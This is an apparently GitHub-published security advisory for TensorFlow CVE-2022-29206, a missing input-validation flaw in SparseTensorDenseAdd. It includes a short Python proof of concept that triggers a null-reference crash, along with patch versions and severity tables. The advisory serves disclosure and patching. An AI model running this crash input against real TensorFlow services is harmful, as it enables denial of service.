The implementation of tf.raw_ops.SparseTensorDenseAdd does not fully validate the input arguments:
import tensorflow as tf
a_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64)
a_values = tf.constant([], shape=[0], dtype=tf.float32)
a_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64)
b = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32)
tf.raw_ops.SparseTensorDenseAdd(
a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b)
In this case, a reference gets bound to a nullptr during kernel execution. This is UB.
We have patched the issue in GitHub commit 11ced8467eccad9c7cb94867708be8fa5c66c730.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
| Score | Percentile |
|---|---|
| 0.08% | 23.03% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 5.5 | 3.1 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-rc9w-5c64-9vqq ↗ |
| CVE | CVE-2022-29206 ↗ |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| pip | tensorflow | < 2.6.4 | 2.6.4 | — |
| pip | tensorflow | >= 2.7.0, < 2.7.2 | 2.7.2 | — |
| pip | tensorflow | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow-cpu | < 2.6.4 | 2.6.4 | — |
| pip | tensorflow-cpu | >= 2.7.0, < 2.7.2 | 2.7.2 | — |
| pip | tensorflow-cpu | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow-gpu | < 2.6.4 | 2.6.4 | — |
| pip | tensorflow-gpu | >= 2.7.0, < 2.7.2 | 2.7.2 | — |
| pip | tensorflow-gpu | >= 2.8.0, < 2.8.1 | 2.8.1 | — |